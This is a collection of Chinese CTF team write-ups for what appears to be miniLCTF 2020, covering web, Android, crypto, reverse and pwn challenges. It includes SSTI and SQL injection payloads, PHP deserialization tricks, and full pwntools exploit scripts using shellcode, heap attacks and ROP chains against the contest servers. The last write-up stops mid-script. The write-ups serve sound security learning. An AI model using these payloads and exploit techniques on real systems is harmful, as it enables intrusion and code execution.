{{[][request.args.c][request.args.b][0][request.args.s]()[76][request.args.i][request.args.g][request.args.bt].eval(request.args.d)}} 106 | ``` 107 | 108 | 得到flag 109 | 110 | ![image-20200509183253437](https://i.loli.net/2020/05/09/gUiK4hRSFNz1QXk.png) 111 | 112 | ### id_wife | Author:Ga1@xy 113 | 114 | 本题参考[BUUCTF-Web-随便注](https://www.jianshu.com/p/36f0772f5ce8),稍微改一下参数即可 115 | 116 | 先弄出表名 117 | 118 | ``` 119 | w1nd');show tables;# 120 | ``` 121 | 122 | 直接爆出数据库得到flag 123 | 124 | ``` 125 | w1nd');SET @sql=concat(char(115,101,108,101,99,116),'* from `1145141919810`');PREPARE jwt from @sql;EXECUTE jwt;# 126 | ``` 127 | 128 | ![image-20200510122051057](https://i.loli.net/2020/05/10/HbfOsj16yntKoSD.png) 129 | 130 | ## ANDROID 131 | 132 | ### TestOnly? | Author:Ga1@xy,shallow 133 | 134 | 拿到apk文件,先用**dex2jar**反编译为jar文件,参考方法[百度经验](https://jingyan.baidu.com/article/d169e186031987436711d86e.html) 135 | 136 | 再用**jd-gui**反编译得到的jar文件,在最下面的**com.happy.testonly**找到main函数,可以看到这个函数最后得到了flag,接下来分析一下这个函数(个人理解): 137 | 138 | + 有两个面对不同对象的a函数,一个b函数,一个I函数(没啥用),一个J函数(得到flag) 139 | + 第一个a函数面向字符(char类),第二个a函数面向字符串(String类) 140 | + b函数面向字符串,将字符串SHA1后`hexdigest()` 141 | + J函数创建了一个数组,与**localObject**进行按位异或操作得到flag 142 | 143 | 大体分析完代码含义,用python实现,即可得到flag 144 | 145 | ```python 146 | from hashlib import sha1 147 | 148 | flag = '' 149 | loc = b'B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616' 150 | loc = sha1(loc).hexdigest().encode() 151 | arr = [85,95,5,83,75,96,94,0,17,61,102,87,80,123,4,105,85,83,101,109,55,85,23,48,106,1,40,7,97,31] 152 | for i in range(len(arr)): 153 | flag += chr(arr[i] ^ loc[i]) 154 | 155 | print(flag.replace('flag','minil')) 156 | ``` 157 | 158 | ## CRYPTO 159 | 160 | ### ιIl | Author:shallow 161 | 162 | 原题,soreat_u师傅在先知社区写过一篇十分详细的wp:https://xz.aliyun.com/t/7163 163 | 164 | ~~要不是比赛当天早上刚好跟别的师傅讨论这道题,还真写不出来~~ 165 | 166 | 关键步骤是利用f与g,将r消去。而这里的f与g其实是同时满足 167 | $$ 168 | fh \equiv g (mod \ p) 169 | $$ 170 | 171 | $$ 172 | rg + mf < p 173 | $$ 174 | 175 | 的两个数。 176 | 177 | 因此按照那篇wp来构造格子,找到格子的cvp,即是(f , g) 178 | 179 | (其实也并不需要cvp,LLL出来的矩阵第二个行向量同样满足条件。因此不会LLL算法,也可以有其他方法得到解向量,比如利用类似于wiener's attack的思路,利用$\frac{h}{p} - \frac{k}{f} = \frac{g}{fp}$而等式右边很小,从而求出f与g。 180 | 181 | exp抄的soreat_u师傅的,不过需要稍微修改一下,因为cvp在四个象限都有一个,因此要对f与g加绝对值。 182 | 183 | ### f**k&base | Author:Ga1@xy , shallow 184 | 185 | **source.txt**给了brainf**k编码后的内容,在线网站解码得到源程序 186 | 187 | ```python 188 | from Crypto.Util.number import * 189 | q=getPrime(1024) 190 | f=getPrime(511) 191 | g=getPrime(511) 192 | while gpow(q/2,0.5): 193 | g=getPrime(511) 194 | f_inv_q=inverse(f,q) 195 | h=f_inv_q*g%q 196 | m=bytes_to_long(b'flag')#flag is base**(flag) 197 | r=getPrime(510) 198 | e=(r*h+m)%q 199 | print f 200 | print g 201 | print q 202 | print e 203 | ``` 204 | 205 | cry2的简化版,给了g和f,但我懒,直接算出h拿上面的exp打完了(逃 206 | 207 | ## REVERSE 208 | 209 | ### easyre | Author:shallow 210 | 211 | 稍微查了一下 _mm_store_si128函数,就是将内存中的128位复制过来,下面函数是将每个变量加100,转成字符串便是flag了。因此脚本如下 212 | 213 | ~~~python 214 | def padding(s): 215 | if len(s) % 8 != 0: 216 | return '0' * (8 - (len(s) % 8)) + s 217 | else: 218 | return s 219 | def change(s): 220 | res = '' 221 | s = padding(s) 222 | for i in range(len(s) // 8): 223 | tmp = int(s[i*8:i*8+8] , 16) 224 | if tmp > 0xFF: 225 | tmp = tmp - 0xFFFFFFFF - 1 226 | res = chr(100 + tmp) + res 227 | return res 228 | flag = '' 229 | flag += change('000000050000000A0000000500000009') 230 | flag += change('FFFFFFFD000000010000001700000008') 231 | flag += change('10000000E000000150000000F') 232 | flag += change('1FFFFFFFB0000000FFFFFFFC3') 233 | flag += change('19000000150000000FFFFFFFFD') 234 | print(flag) 235 | ~~~ 236 | 237 | ### What's Virtialization | Author:shallow 238 | 239 | ~~我怀疑这题有点小问题~~ 240 | 241 | 首先是0x4010e0位置的函数,实现了一个~a2 & ~a1。 242 | 243 | 我们可以通过这个函数分析出,401090处的函数是非,401180处的函数是异或,401030处的函数是与 244 | 245 | 可以看到,三个for循环中,都是将输入与一个数组进行异或,然后进行相同的一个判断,如果判断通过了,则v14为0,在main函数的最后将通不过那个if,不是正确flag。因此必须让for循环里的判断不通过:即flag[i] & x == flag[i] 246 | 247 | 这并不能说明flag[i] = x,至少全为0肯定是能通过的。。但最方便的就是这个结果,于是将x与前面数组异或,恰好就得到了flag。 248 | 249 | 脚本如下: 250 | 251 | ```python 252 | XOR = lambda s1 , s2:bytes([x1 ^x2 for x1 ,x2 in zip(s1 , s2)]) 253 | array1 = [1,1,2,3,5,8,13,21,34] 254 | s1 = b'\x7d[^]|{' 255 | s2 = b'\x64tKcXxDmYgoNY' 256 | s3 = b'\x40D]pTYHp@Yw^O' 257 | x = [0x30,0x32,0x30,0x34,0x30,0x38] 258 | print(XOR(6 *x,s1+ s2 + s3)) 259 | ``` 260 | 261 | 很大蒙的成分。。。但出题人是不是就是这个意思啊(逃 262 | 263 | ## PWN 264 | 265 | ### hello | Author:Lunatic, shallow 266 | 267 | 程序从 main 函数进入 vul 函数 268 | 269 | ![image-20200518114423513](https://i.loli.net/2020/05/18/KWCebnm61udYF9z.png) 270 | 271 | 显然在 fgets 函数处存在栈溢出,但可溢出的长度非常短,于是考虑到进行栈迁移 272 | 273 | #### 利用脚本如下: 274 | 275 | ```python 276 | # pwn.challenge.mini.lctf.online 10091 277 | 278 | from pwn import * 279 | 280 | context.log_level = 'debug' 281 | context.arch = 'amd64' 282 | 283 | if args.G: 284 | io = remote('pwn.challenge.mini.lctf.online', 10091) 285 | else: 286 | io = process('./hello') 287 | 288 | offset = 0x30 289 | bss = 0x601060 290 | 291 | payload = '\x90' * offset + p64(bss + 500) + p64(0x4006FA) 292 | 293 | # gdb.attach(io) 294 | 295 | io.recvuntil('What\'s your name?') 296 | io.sendline(payload) 297 | 298 | payload = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' 299 | payload += '\x90' * 21 + p64(bss + 500) + p64(bss + 500 - offset) 300 | 301 | sleep(0.5) 302 | io.sendline(payload) 303 | 304 | io.interactive() 305 | ``` 306 | 307 | 这种做法没有用到 bd 函数 308 | 309 | ### ezsc | Author:Lunatic 310 | 311 | 容易看出这是一道 alphanumeric shellcode 类型的题目,取一条合适的 shellcode 一把梭即可 312 | 313 | ```python 314 | WTYH39Yj0TYfi9XVWAXfi94WWAYjZTYfi9TVWAZjdTYfi9BgWZjJTYfi92ERARZ0T8AZ0T8CRAPZ0T8DZ0T8ERAQZ0T8FZ0T8GRAPZ0T8HZ0T8IRAQZ0T8JZ0T8KRAPZ0T8MZRARZ0T8NZRAPZ0t8QZ0T8RRAPZ0t8VZ0T8W0t8X0t8Y0t8Z1HHsQUVYPDW7HwSSToQRWTnxnZP 315 | ``` 316 | 317 | ### noleak | Author:Lunatic 318 | 319 | 一道存在后门函数的堆题,于是可以想到覆盖 free@got 为后门函数地址,再调用 free 函数 get shell 320 | 321 | #### 利用脚本如下: 322 | 323 | ```python 324 | # pwn.challenge.mini.lctf.online 10011 325 | 326 | from pwn import * 327 | 328 | context.log_level = 'debug' 329 | 330 | if args.G: 331 | io = remote('pwn.challenge.mini.lctf.online', 10011) 332 | else: 333 | io = process('./time_management') 334 | 335 | def add(size, content): 336 | io.recvuntil('Your choice :') 337 | io.sendline('1') 338 | io.recvuntil('How many minutes will it take you to finish?') 339 | io.sendline(str(size)) 340 | io.recvuntil('Content of the plan:') 341 | io.sendline(content) 342 | 343 | def edit(ticket, size, content): 344 | io.recvuntil('Your choice :') 345 | io.sendline('2') 346 | io.recvuntil('Index :') 347 | io.sendline(str(ticket)) 348 | io.recvuntil('How many minutes will it take you to finish?') 349 | io.sendline(str(size)) 350 | io.recvuntil('Content of the plan:') 351 | io.sendline(content) 352 | 353 | def dele(ticket): 354 | io.recvuntil('Your choice :') 355 | io.sendline('3') 356 | io.recvuntil('Index :') 357 | io.sendline(str(ticket)) 358 | 359 | prt_arr = 0x6020c0 360 | get_shell = 0x400C9F 361 | 362 | # gdb.attach(io) 363 | 364 | add(0x60, 'AAAA') # 0 365 | add(0x60, 'BBBB') # 1 366 | add(0x60, 'CCCC') # 2 367 | dele(1) 368 | edit(0, 0, 'D' * (0x60 + 0x8) + p64(0x71) + p64(prt_arr - 11 - 8)) 369 | add(0x60, 'EEEE') # 1 370 | add(0x60, 'FFFF') # 3 prt_arr 371 | edit(3, 0, 'G' * 3 + p64(0x602018) * 4) 372 | edit(0, 0, p64(get_shell)) 373 | dele(0) 374 | 375 | # gdb.attach(io) 376 | 377 | io.interactive() 378 | ``` 379 | 380 | ### easycpp | Author:Lunatic 381 | 382 | ```python 383 | # nc pwn.challenge.mini.lctf.online 10008 384 | 385 | from pwn import * 386 | 387 | context.log_level = 'debug' 388 | 389 | if args.G: 390 | io = remote('pwn.challenge.mini.lctf.online', 10008) 391 | else: 392 | io = process('./easycpp') 393 | 394 | backdoor = 0x80487BB 395 | buf = 0x804A0C0 396 | 397 | payload = p32(buf + 4) + p32(backdoor) 398 | 399 | # gdb.attach(io) 400 | 401 | io.sendline(payload) 402 | 403 | io.interactive() 404 | ``` 405 | 406 | ### heap_master | Author:Lunatic 407 | 408 | nc 后进行 double free 操作,发现程序没有 crash,说明服务器上使用的 libc 版本应该为 2.27(根据 sad 的 hint)。接下来的流程便是泄露 libc 地址,通过 environ 泄露栈地址,将 payload 写入栈中,orw 读取 flag(prctl 函数限制)。 409 | 410 | #### 利用脚本如下: 411 | 412 | ```python 413 | # pwn.challenge.mini.lctf.online 10008 414 | 415 | from pwn import * 416 | 417 | context.log_level = 'debug' 418 | 419 | if args.G: 420 | io = remote('pwn.challenge.mini.lctf.online', 10008) 421 | else: 422 | io = process('./pwn') 423 | 424 | def add(size, content): 425 | io.recvuntil('>> ') 426 | io.sendline('1') 427 | io.recvuntil('size?') 428 | io.sendline(str(size)) 429 | io.recvuntil('content?') 430 | io.send(content) 431 | 432 | def dele(ticket): 433 | io.recvuntil('>> ') 434 | io.sendline('2') 435 | io.recvuntil('index ?') 436 | io.sendline(str(ticket)) 437 | 438 | def show(ticket): 439 | io.recvuntil('>> ') 440 | io.sendline('3') 441 | io.recvuntil('index ?') 442 | io.sendline(str(ticket)) 443 | 444 | elf = ELF('./pwn') 445 | libc = ELF('/mnt/hgfs/CTF/BUUCTF/libc/Ubuntu_18_64/libc-2.27.so') 446 | 447 | note = 0x6020c0 448 | 449 | # gdb.attach(io) 450 | 451 | io.recvuntil('what is your name? ') 452 | io.sendline('sadsadsadsadsadsadsadsadsadsadsadsadsadsadsadsadsadsadsad') 453 | 454 | add(0x90, '0000') # 0 455 | add(0x90, '1111') # 1 456 | add(0x90, '2222') # 2 457 | add(0x90, '3333') # 3 458 | add(0x90, '4444') # 4 459 | add(0x90, '5555') # 5 460 | add(0x90, '6666') # 6 461 | add(0x90, '7777') # 7 462 | add(0x60, '8888') # 8 463 | add(0xb0, '9999') # 9 464 | 465 | dele(0) 466 | dele(1) 467 | dele(2) 468 | dele(3) 469 | dele(4) 470 | dele(5) 471 | dele(6) 472 | 473 | dele(7) 474 | 475 | show(7) 476 | 477 | unsorted_bins = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00')) 478 | main_area = unsorted_bins - 0x60 479 | libc_base = main_area - 0x3ebc40 480 | environ = libc_base + 0x3ee098 481 | 482 | dele(8) 483 | dele(8) 484 | 485 | add(0x60, p64(note)) # 10 8 486 | add(0x60, 'bbbb') # 11 8 487 | add(0x60, p64(environ)) # 12 note 488 | 489 | show(0) 490 | 491 | leaked_stack = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00')) 492 | ret = leaked_stack - 0x220 493 | 494 | free_hook = libc_base + libc.sym['__free_hook'] 495 | 496 | read_addr = elf.plt['read'] 497 | puts_addr = elf.plt['puts'] 498 | open_addr = libc_base + libc.sym['open'] 499 | 500 | pop_rdi_ret = libc_base + libc.search(asm("pop rdi\nret")).next() 501 | pop_rsi_ret = libc_base + libc.search(asm("pop rsi\nret")).next() 502 | pop_rdx_ret = libc_base + libc.search(asm("pop rdx\nret")).next() 503 | 504 | payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(free_hook) + p64(pop_rdx_ret) + p64(4) + p64(read_addr) 505 | payload += p64(pop_rdi_ret) + p64(free_hook) + p64(pop_rsi_ret) + p64(4) + p64(open_addr) 506 | payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(free_hook) + p64(pop_rdx_ret) + p64(0x30) + p64(read_addr) 507 | payload += p64(pop_rdi_ret) + p64(free_hook) + p64(puts_addr) 508 | 509 | dele(9) 510 | dele(9) 511 | 512 | add(0xb0, p64(ret)) # 13 9 513 | add(0xb0, 'bbbb') # 14 9 514 | add(0xb0, payload) # 15 ret 515 | 516 | io.send('flag') 517 | 518 | # gdb.attach(io) 519 | 520 | io.interactive() 521 | ``` 522 | 523 | ### jail | Author:Lunatic 524 | 525 | 本题需要发送 elf 文件进行 chroot 沙箱逃逸。因为在 init 函数中创建了根目录的文件描述符且该文件描述符未被关闭,故可利用其进行逃逸,读取根目录下的 flag。 526 | 527 | #### 利用脚本如下: 528 | 529 | ```python 530 | # pwn.challenge.mini.lctf.online 10092 531 | 532 | from pwn import * 533 | 534 | if args.G: 535 | io = remote('pwn.challenge.mini.lctf.online', 10092) 536 | else: 537 | io = process('./chroot') 538 | 539 | f = open('./c2', 'rb') 540 | data = f.read() 541 | length = len(data) 542 | 543 | ''' 544 | /* c2.c */ 545 | 546 | #include 547 | #include 548 | #include 549 | #include 550 | #include 551 | #include 552 | 553 | int main() { 554 | int fd; 555 | int ret1; 556 | char buf[100] = {}; 557 | 558 | fd = openat(4, "flag", 0); 559 | // ret1 = fchdir(4); 560 | read(fd, buf, 100); 561 | write(1, buf, 100); 562 | ''' 563 | 564 | io.recvuntil('elf len?') 565 | io.sendline(str(length)) 566 | 567 | io.recvuntil('data?') 568 | io.send(data) 569 | 570 | # gdb.attach(io) 571 | 572 | context.log_level = 'debug' 573 | 574 | io.recvuntil('what arg do you wanna pass to your elf?') 575 | io.sendline('') 576 | 577 | io.interactive() 578 | ``` 579 | 580 | -------------------------------------------------------------------------------- /writeups/单人小队.md: -------------------------------------------------------------------------------- 1 | --- 2 | team: 单人小队 3 | members: 4 | - laotong(LT) 5 | --- 6 | 7 | 因为第一次用md写wp,加上菜和懒,~~所以wp中可能会有一些错误~~,所以可能写的很烂,请见谅 8 |
    9 | 10 | ## WEB 11 | 12 | ### **id_wife | Author: laotong** 13 | 14 | 这道题好多人都做出来了,然而菜鸡刚开始还在那个无关界面试了半天(虽然已经告诉我与题目无关) 15 | 16 | 这道题就是堆叠注入,fuzz了一下,强网杯的随便注的思路基本不可能了,因为ban了rename,alter等姿势 17 | 18 | buu中刷题刷到过另一道也是堆叠注入的,恰好跟这道题基本一致,那就是用`handler 表名 open`和`handler 表名 read first`的方法啦!! 19 | 20 | 这里走一下流程啦!! 21 | 22 | 首先”`w1nd');show tables;#`“然后就能看到表名啦! 23 | 24 | 然后"```w1nd'); handler `1145141919810` open;handler `1145141919810` read next;handler `1145141919810` read next;```"就得出我们亲爱的flag啦! 25 | 26 |
    27 |
    28 | 29 | ### **Personal_IP_Query | Author: laotong** 30 | 31 | 这道题也跟之前刷到过的题很像,就是过滤了一些东西而已。 32 | 33 | 伪造xff头,然后通过{{7*7}}可以知道是`SSTI` 34 | 35 | 然后fuzz一下知道过滤了`引号`和`下划线` 36 | 37 | 下划线可以通过[requests.args.class]和get参数class=`__class__`来绕过 38 | 39 | 引号感觉都不是很需要,绕过下划线基本上这道题就结束了 40 | 41 | 最后一步步按照正常SSTI题目来就能得到flag啦! 42 | 43 | ~~因为是比赛结束后写的wp,所以就懒得再搞payload了~~ 44 | 45 |
    46 |
    47 | 48 | ### **Let's_Play_Dolls | Author: laotong** 49 | 50 | 这道题坑了半天,phpinfo可以看到php是7.2.x,是已经修复了CVE-2016-7124,所以刚开始一直在想其他的不绕wakeup的办法,因为找不到索性试试能不能绕,结果还真能(真是奇怪) 51 | 52 | 然后`/[^\W]+\((?R)?\)/`是php典型的无参数RCE 53 | 54 | 然后绕过了`header|bin|hex|oct|dec|na|eval|exec|system|pass` 55 | 56 | 我们就可以通过`print_r(scandir(current(localeconv())));`来获取当前目录啦! 57 | 58 | 得知flag在最后一个文件`youCanGet1tmaybe` 59 | 60 | 然后直接访问这个文件得到flag! 61 | 62 |
    63 |
    64 | 65 | ### **ezbypass | Author: laotong** 66 | 67 | 做出题后从出题人嘴里得知,这道题我的做法是非预期解。。。 68 | 69 | 刚开始就崩出来一个登陆窗,二话不说fuzz一下 70 | 71 | 得知过滤了`'or'`,`'and'`,`'='`,`','`等 72 | 73 | 'or'可以通过'||'绕过 74 | 75 | 然后'='可以通过'like'绕过 76 | 77 | 刚开始想通过like的模糊匹配注入来绕过逗号的限制 78 | 79 | 然而or被过滤了,所以information也不行了,这就让菜鸡的我头疼了。 80 | 81 | 后来发现直接 `" || id like '4'#` 直接就把下一关的文件爆出来了,嗯哼???? 82 | 83 | 其实,这是非预期解,出题人是想我们通过`mysql.innodb_table_stats`(mysql)来查表,然后通过无列名注入来获得下一关文件。~~(虽然我也尝试过,但不知为啥出了问题)~~ 84 | 85 | ``` 86 | MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。 87 | ``` 88 | 89 | 下一关就是简单的常见的php的`序列化对象溢出`了,通俗点就是通过把字母挤出去来达到攻击。(没啥好讲的。。。) 90 | 91 |
    92 |
    93 | 94 | ### **p | Author: laotong** 95 | 96 | 这道题是道原题 97 | 98 | index.php 99 | 100 | ``` 101 | location.reload()'; 107 | ob_end_flush(); 108 | die(); 109 | } 110 | $comp = unserialize(base64_decode($_COOKIE['git'])); 111 | highlight_file($comp->file); 112 | echo '
    '; 113 | 114 | 你用上了Git,可是,代价是什么呢(悲) 115 | ``` 116 | 117 | classes.php 118 | 119 | ``` 120 | file = $f; 127 | } 128 | } 129 | class github { 130 | public $cmd = ''; 131 | function __destruct() { 132 | if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd)) 133 | die("cerror"); 134 | $blacklist = "~!@#%^&*()()-_{}[]'\":,"; 135 | foreach(str_split($blacklist) as $char) { 136 | echo $char; 137 | if(strchr($this->cmd, $char) !== false) 138 | die('serror'); 139 | } 140 | eval($this->cmd); 141 | } 142 | public function __wakeup() { 143 | if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') { 144 | // proxy_set_header X-Real-IP $remote_addr; 145 | die('across the great ... nope'); 146 | } 147 | } 148 | } 149 | 150 | 你用上了Git,可是,代价是什么呢(悲) 151 | ``` 152 | 153 | 这里可以看到github的__destruct方法中很明显的留有一个`p`而且特殊符号中留有`?`和`/`,这里我们要想到linux的通配符 154 | 155 | linux中的`'?'`可以匹配任意单个字符 156 | 157 | 而我们也要知道在linux环境中临时文件的保存目录默认是在/tmp中,而且php文件名为php+四或者六个随机数字和大小写。 158 | 159 | 所以临时文件为/tmp/phpxxxxxx 160 | 161 | 另外一个小知识点: ````相当于````(前提是没有禁用这个函数) 162 | 163 | 所以我们可以通过随便上传一个文件(自己构造上传表单),文件内容为想要执行的命令,而我们构造的序列化字符串中github的cmd则是``?> 168 |
    169 | 170 | ### **are you reclu3e? | Author: laotong** 171 | 172 | 刚开始就一个登录框,走一下web题流程先,扫目录知道存在备份文件 173 | 174 | 然后vim看一下 175 | 176 | index.php 177 | 178 | ``` 179 | Hello, reclu3e!'; 187 | $p=unserialize(isset($_GET["p"])?$_GET["p"]:""); 188 | } 189 | ?> 190 | serialize)){ 199 | $this->serialize++; 200 | } 201 | } 202 | public function __destruct(){ 203 | @eval('$s="'.$this->serialize.'";'); 204 | } 205 | } 206 | ``` 207 | 208 | login.php 209 | 210 | ``` 211 | alert("Yes! you are reclu3e")'; 238 | } 239 | } 240 | } 241 | if(!empty($msg)){ 242 | echo ""; 243 | } 244 | $conn->close(); 245 | echo ""; 248 | 249 | ``` 250 | 251 | 容易得知gbk编码的宽字节注入,也就是用%df加引号来绕过,因为这样的话%df和反斜杠就会变成一个汉字,从而使反斜杠失效,然后就是通过简单的盲注获得密码。 252 | 253 | 进入下一关index.php,一个很简单的反序列化,直接让persond的serialize等于`1";highlight_file('flag.php');`就OKK啦! 254 | 255 |
    256 |
    257 | 258 | ### **include | Author: laotong** 259 | 260 | 一点进去就是php代码 ~~(这种踏实的感觉)~~ 261 | 262 | ``` 263 | 276 | 277 | 281 | ``` 282 | 通过代码逻辑知道admin是空的,所以直接`s:0:"";` 283 | 284 | 下一关他会直接跳转到百度,(刚开始我抓不到第一包,浪费了贼多时间,可能是我的burpsuite有问题???) 285 | 286 | 然后抓包得到一串base64加密后的字符串,解密后到`f1na1.php` 287 | 288 | 这里是文件包含,因为过滤了'`data`','`input`','`tp`','`../`'的大小写形式和'`php`',所以不能常规的伪协议了 289 | 290 | 这里我通过搜集资料得知可以用服务器搭建webdev,来达到攻击 291 | 292 | ``` 293 | docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav 294 | ``` 295 | 296 | 然后把带有命令代码的php文件放到/root/webdev/data里就行了 297 | 298 | 直接file=//ip//webdev/文件名 299 | 300 | 注意环境是windows所以不要用Linux的命令 -------------------------------------------------------------------------------- /writeups/想要多人运动.md: -------------------------------------------------------------------------------- 1 | --- 2 | team: 想要多人运动 3 | members: 4 | - k0414 5 | - yang 6 | - Rocor 7 | --- 8 | 9 | ## Misc 10 | 11 | ### MiniGameHacking | Author:k0414 12 | 13 | 使用CheatEngine调整游戏速度为0.25倍速,手打通关得到flag。 14 | 15 | minil{diosamasayikou} 16 | 17 | ## Android 18 | 19 | ### TestOnly? | Author:k0414 20 | 21 | 将安装包导入虚拟安卓机,使用终端模拟器命令 `pm install `发现安装不上。结合题目TestOnly,使用 `pm install -t` 成功安装。打开软件得到闪烁的flag。 22 | 23 | minil{Th1s_S33M3_40R_T3sT_0N1Y} 24 | 25 | -------------------------------------------------------------------------------- /writeups/枣子姐永远滴神.md: -------------------------------------------------------------------------------- 1 | --- 2 | team: 枣子姐永远滴神 3 | members: 4 | - u7chi 5 | - Tian 6 | - 讲不了道理哇_ 7 | --- 8 | ## 目录 9 | + 0x1 PWN 10 | + 0x11 hello 11 | + 0x12 ezsc 12 | + 0x13 noleak 13 | + 0x2 MISC 14 | + 0x21 MiniGameHacking 15 | + 0x22 MITM1 and MITM2 16 | + 0X3 Android 17 | + 0x31 Testonly? 18 | + 0x32 Khronos 19 | + 0x4 Reverse 20 | + 0x41 Easyre 21 | 22 | ## 0x1 PWN 23 | ### 0x11 hello 24 | 先查看一下程序开启了哪些保护,发现啥都没开。 25 | 26 | ![11.PNG](https://i.loli.net/2020/05/18/lPMYCRDs4aqdoIX.png) 27 | 28 | 再来看看IDA逆向的源码,下图所示函数中存在漏洞,读入了过量的字符 29 | 30 | ![12.PNG](https://i.loli.net/2020/05/18/uzb3CykpmWgBUcH.png) 31 | 32 | 但是由于读入数据长度受限,我们最多能再覆盖一个rbp和一个ret加一个ret下面的栈帧。无法构造较长的RoP链。在看到NX disabled后,就考虑将shellcode布置到栈上,利用跳转到ret下面的栈帧做跳板(该栈帧我们可以任意控制,因而可以写入代码sub rsp, 0x40;jmp rsp)来跳转到shellcode处。 33 | 具体exp如下: 34 | ```python 35 | #encoding:utf-8 36 | from pwn import * 37 | 38 | context(arch='amd64', os='linux', log_level='debug') 39 | 40 | 41 | sh = remote('pwn.challenge.mini.lctf.online', 10043) 42 | 43 | jmp_rsp = 0x4006ca #用Ropgadget得到跳转到栈上执行代码的指令的地址 44 | sub_rsp_jmp = asm('sub rsp, 0x40;jmp rsp') 45 | shellcode = asm(shellcraft.sh()) 46 | print len(shellcode) #这里打印一下shellcode的长度,看之后需要补几个'a' 47 | sh.recvuntil('name?\n') 48 | shell =shellcode + 'a'*0x8+p64(jmp_rsp)+sub_rsp_jmp 49 | sh.sendline(shell) 50 | 51 | 52 | 53 | sh.interactive() 54 | ``` 55 | ### 0x12 ezsc 56 | 同样的,查看一下程序开启的保护,没法修改got表,不能在栈上运行代码,有canary。 57 | 58 | ![13.PNG](https://i.loli.net/2020/05/18/5hCmNwXHog4EMkU.png) 59 | 60 | 在IDA中打开,功能实现都在main函数中: 61 | 62 | ![14.png](https://i.loli.net/2020/05/18/chm8M4Da9vt1nXi.png) 63 | 64 | 注意到第31行v8(xxx,xxx)将v8当作一个函数调用,汇编代码就是将两个参数入栈,再jmp到v8这个指针所指向的地址。往上看,发现我们可以控制v8指向地址的数据,那么输入一个shellcode就能获取shell了。关键在于这个if(!isalnum)的绕过。因此,我们需要发送的shellcode只能包含字母和数字。 65 | 一开始查找工具的时候,发现github上的一个工具shellcode_encoder。但是这个工具生成的shellcode的字符范围是包含所有可打印字符的,不符合要求。第二天的时候,又找到一个工具ALPHA3 66 | 具体使用方式见该[博客](http://https://www.jianshu.com/p/8ae8c055e35c "博客") 67 | 利用python ./ALPHA3.py x64 ascii mixedcase rax —input=”shellcode.bin” > 68 | out.bin将我们之前生成的普通x64shellcode.bin做转换,得到纯字母数字的shellcode。接下来简单的进行发送就好了。 69 | 具体exp如下: 70 | ```python 71 | #encoding:utf-8 72 | from pwn import * 73 | 74 | context(arch='amd64', os='linux', log_level='debug') 75 | shellcode = asm(shellcraft.sh()) #构造目标主机的shellcode 76 | 77 | fd = open('shellcode.bin','wb') 78 | fd.write(shellcode) 79 | pause() 80 | 81 | sh = remote('pwn.challenge.mini.lctf.online', 10010) 82 | sh.recvuntil('> ') 83 | alpha_shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" #将alpha3转换后的shellcode复制到这里 84 | sh.send(alpha_shellcode) 85 | sh.interactive() 86 | ``` 87 | ### 0x13 noleak 88 | 一道堆的题。可以改写got表。程序大概就是一个根据用户指定的输入长度来获取数据,最多保存10条数据。在0x6020C0处有一个char ptr[80],可以看作是一个指针数组char* ptr[10]。每一条数据都保存相应指针所指向的堆中。 89 | 具体功能:1.create(size,content) 依据输入的大小,获取content,中途遇到回车会停止 90 | 2.edit(index,size,content)依据输入的大小,获取content,改写索引为index的数据,当size大于原来的size时,以原来的size为准 91 | 3.delete(index) 删除索引为index的数据,并将指针指向0 92 | 这个程序对输入都有比较严格的判断,看了源码蛮久的,才发现漏洞出在edit中,具体代码如下: 93 | 94 | ![15.PNG](https://i.loli.net/2020/05/18/UfRBuFE8jKsQtzc.png) 95 | 96 | 这里数据长度的检测是通过strlen()实现的。当我们利用chunk的空间复用,在创建第一个chunk时填满整个堆的空间,再紧接着创建第二个chunk,这时候我们使用strlen返回的长度会是原来的长度+1。示意图如下: 97 | 0x0000000000000000 0x0000000000000021 #chunk0 (malloc申请size=24) 98 | 0x6161616161616161 0x6161616161616161 99 | 0x6161616161616161 0x0000000000000021 #chunk1 100 | 0x0000000000000062 0x0000000000000000 101 | 虽然我们申请的空间大小为24,但是通过strlen获取的长度为25(包含了一个字节的chunk1的块大小) 102 | 通过这个漏洞,我们可以改写chunk1的块大小,进而进行进一步的攻击。大致思路就是先申请三块chunk,通过chunk0更改chunk1的大小,更改后的chunk_size = chunk1_size+chunk2_size 103 | 然后将chunk1和chunk2都free掉,他们会进入fastbins(大概?)接下来再申请一个和chunk_size相同大小的块,我们就可以利用这个chunk来控制在fastbins中的chunk2的fd域,使得我们之后申请的块的地址可控。fastbins中的块需要通过大小的检测,所以我们需要找到合适的地址作为目标块。鉴于我们可以修改prt[0]的指向进而通过edit(0,8,content)修改got表,所以我们在ptr[0]的上方寻找合适的块。 104 | 可以找到0x6020b0+5处数据为0x000000000000007f符合一个chunk头的格式,且表示的chunk大小为0x70 105 | 根据这个我们可以反推出之前我们需要申请的块的大小。 106 | 107 | 具体exp如下: 108 | ```python 109 | #coding:utf8 110 | from pwn import * 111 | 112 | context.log_level = 'debug' 113 | #context.terminal = ['tmux', 'splitw', '-h'] 114 | sh = remote('pwn.challenge.mini.lctf.online', 10072) 115 | #sh=process('./time_management') 116 | #addr="0x40099B" 117 | #gdb.attach(sh, "b *" + addr) ##tmux 118 | #pause() 119 | def create(size,content): 120 | sh.sendlineafter('ce : ','1') 121 | 